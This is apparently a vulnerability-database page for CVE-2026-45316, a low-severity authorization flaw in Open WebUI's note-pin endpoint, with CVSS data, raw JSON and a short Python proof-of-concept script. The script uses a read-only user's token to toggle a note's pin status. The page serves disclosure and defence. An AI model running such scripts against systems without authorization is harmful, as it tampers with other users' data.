Security Vulnerability Report
中文
CVE-2026-45316 CVSS 3.5 LOW

CVE-2026-45316

Published: 2026-05-15 22:16:54
Last Modified: 2026-05-15 22:16:54

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. This vulnerability is fixed in 0.9.3.

CVSS Details

CVSS Score
3.5
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.9.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration base_url = "http://localhost:3000" note_id = "TARGET_NOTE_ID" # Replace with a valid note ID accessible by the user auth_token = "READ_ONLY_USER_TOKEN" # Valid session token for a read-only user # The vulnerable endpoint endpoint = f"{base_url}/api/v1/notes/{note_id}/pin" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } try: # Send POST request to toggle pin status # Vulnerability: The server checks READ permission but performs a WRITE action response = requests.post(endpoint, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Note pin status toggled.") print(f"[+] Response: {response.json()}") else: print(f"[-] Failed to exploit. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-45316", "sourceIdentifier": "[email protected]", "published": "2026-05-15T22:16:54.387", "lastModified": "2026-05-15T22:16:54.387", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. This vulnerability is fixed in 0.9.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jx2x-j75f-xq3j", "source": "[email protected]"}]}}